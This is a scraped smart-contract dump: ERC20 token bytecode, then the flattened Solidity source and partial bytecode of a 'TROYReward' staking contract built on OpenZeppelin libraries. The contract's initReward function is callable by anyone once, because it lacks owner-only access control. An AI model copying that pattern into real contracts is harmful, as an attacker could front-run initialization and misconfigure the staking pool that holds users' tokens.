0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102c757806395d89b411461031f578063a457c2d7146103a2578063a9059cbb14610406578063dd62ed3e1461046a578063f851a440146104e2576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce567146102425780633950935114610263575b600080fd5b6100c1610516565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b8565b60405180821515815260200191505060405180910390f35b6101a86105d6565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e0565b60405180821515815260200191505060405180910390f35b61024a6106b9565b604051808260ff16815260200191505060405180910390f35b6102af6004803603604081101561027957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d0565b60405180821515815260200191505060405180910390f35b610309600480360360208110156102dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610783565b6040518082815260200191505060405180910390f35b6103276107cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086d565b60405180821515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b60405180821515815260200191505060405180910390f35b6104cc6004803603604081101561048057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610958565b6040518082815260200191505060405180910390f35b6104ea6109df565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b5050505050905090565b60006105cc6105c5610a05565b8484610a0d565b6001905092915050565b6000600254905090565b60006105ed848484610c04565b6106ae846105f9610a05565b6106a98560405180606001604052806028815260200161106e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065f610a05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eba9092919063ffffffff16565b610a0d565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107796106dd610a05565b8461077485600160006106ee610a05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7a90919063ffffffff16565b610a0d565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108635780601f1061083857610100808354040283529160200191610863565b820191906000526020600020905b81548152906001019060200180831161084657829003601f168201915b5050505050905090565b600061093061087a610a05565b8461092b856040518060600160405280602581526020016110df60259139600160006108a4610a05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eba9092919063ffffffff16565b610a0d565b6001905092915050565b600061094e610947610a05565b8484610c04565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110bb6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110266022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110966025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110036023913960400191505060405180910390fd5b610d7b81604051806060016040528060268152602001611048602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eba9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f2c578082015181840152602081019050610f11565b50505050905090810190601f168015610f595780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610ff8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205bd522514e9ea23c38547df84f525b2e080b10bb6aead7ede417bfc72a34977364736f6c63430007060033
[ 38 ]
0xf1c5cf47757e51ce7da1955b6057778c362ae71e
// File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/TROYReward.sol library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } contract TROYReward is Ownable { using SafeMath for uint256; bool private _init = true; function initReward(address _stake, address _reward, uint256 _duration, uint256 _lock) external { require(_init); stakeToken = IERC20(_stake); rewardToken = IERC20(_reward); duration = _duration; isLock = _lock; _init = false; } IERC20 public stakeToken; IERC20 public rewardToken; uint256 public duration; uint256 public isLock; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); TransferHelper.safeTransferFrom(address(stakeToken), msg.sender, address(this), amount); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(isLock == 0 || block.timestamp > periodFinish, "TimeLocked"); require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TransferHelper.safeTransfer(address(stakeToken), msg.sender, amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; TransferHelper.safeTransfer(address(rewardToken), msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { require(isLock == 0 || periodFinish == 0, "can't add reward"); if (block.timestamp >= periodFinish) { rewardRate = reward.div(duration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(duration); emit RewardAdded(reward); } }
0x608060405234801561001057600080fd5b50600436106101575760003560e01c80637b0a47ee116100c3578063cd3daf9d1161007c578063cd3daf9d1461051a578063df136d6514610538578063e9fad8ee14610556578063ebe2b12b14610560578063f2fde38b1461057e578063f7c618c1146105c257610157565b80637b0a47ee146103f057806380faa57d1461040e5780638b8763471461042c5780638da5cb5b14610484578063a694fc3a146104ce578063c8f33c91146104fc57610157565b80632e1a7d4d116101155780632e1a7d4d146102de5780633c6b16ab1461030c5780633d18b9121461033a57806351ed6a301461034457806370a082311461038e578063715018a6146103e657610157565b80628cc2621461015c5780630700037d146101b457806309d8da2e1461020c5780630fb5a6b41461022a5780631349ce081461024857806318160ddd146102c0575b600080fd5b61019e6004803603602081101561017257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061060c565b6040518082815260200191505060405180910390f35b6101f6600480360360208110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106f3565b6040518082815260200191505060405180910390f35b61021461070b565b6040518082815260200191505060405180910390f35b610232610711565b6040518082815260200191505060405180910390f35b6102be6004803603608081101561025e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610717565b005b6102c86107e0565b6040518082815260200191505060405180910390f35b61030a600480360360208110156102f457600080fd5b81019080803590602001909291905050506107ea565b005b6103386004803603602081101561032257600080fd5b8101908080359060200190929190505050610af7565b005b610342610df8565b005b61034c610fb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d0600480360360208110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fdd565b6040518082815260200191505060405180910390f35b6103ee611026565b005b6103f8611194565b6040518082815260200191505060405180910390f35b61041661119a565b6040518082815260200191505060405180910390f35b61046e6004803603602081101561044257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ad565b6040518082815260200191505060405180910390f35b61048c6111c5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104fa600480360360208110156104e457600080fd5b81019080803590602001909291905050506111ee565b005b610504611478565b6040518082815260200191505060405180910390f35b61052261147e565b6040518082815260200191505060405180910390f35b610540611516565b6040518082815260200191505060405180910390f35b61055e61151c565b005b610568611537565b6040518082815260200191505060405180910390f35b6105c06004803603602081101561059457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061153d565b005b6105ca611730565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006106ec600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106de670de0b6b3a76400006106d06106b9600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106ab61147e565b61175690919063ffffffff16565b6106c288610fdd565b6117d990919063ffffffff16565b61185f90919063ffffffff16565b6118e890919063ffffffff16565b9050919050565b600c6020528060005260406000206000915090505481565b60045481565b60035481565b600060149054906101000a900460ff1661073057600080fd5b83600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816003819055508060048190555060008060146101000a81548160ff02191690831515021790555050505050565b6000600554905090565b336107f361147e565b600a8190555061080161119a565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108ce576108448161060c565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600060045414806108e0575060075442115b610952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f54696d654c6f636b65640000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600082116109c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b6109dd8260055461175690919063ffffffff16565b600581905550610a3582600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa5600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163384611970565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b610aff611b69565b73ffffffffffffffffffffffffffffffffffffffff16610b1d6111c5565b73ffffffffffffffffffffffffffffffffffffffff1614610ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610bb061147e565b600a81905550610bbe61119a565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c8b57610c018161060c565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006004541480610c9e57506000600754145b610d10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f63616e277420616464207265776172640000000000000000000000000000000081525060200191505060405180910390fd5b6007544210610d3957610d2e6003548361185f90919063ffffffff16565b600881905550610d9b565b6000610d504260075461175690919063ffffffff16565b90506000610d69600854836117d990919063ffffffff16565b9050610d92600354610d8483876118e890919063ffffffff16565b61185f90919063ffffffff16565b60088190555050505b42600981905550610db7600354426118e890919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15050565b33610e0161147e565b600a81905550610e0f61119a565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610edc57610e528161060c565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610ee73361060c565b90506000811115610fb3576000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f64600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611970565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61102e611b69565b73ffffffffffffffffffffffffffffffffffffffff1661104c6111c5565b73ffffffffffffffffffffffffffffffffffffffff16146110d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b60006111a842600754611b71565b905090565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b336111f761147e565b600a8190555061120561119a565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146112d2576112488161060c565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211611348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b611376600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333085611b8a565b61138b826005546118e890919063ffffffff16565b6005819055506113e382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e890919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b6009548156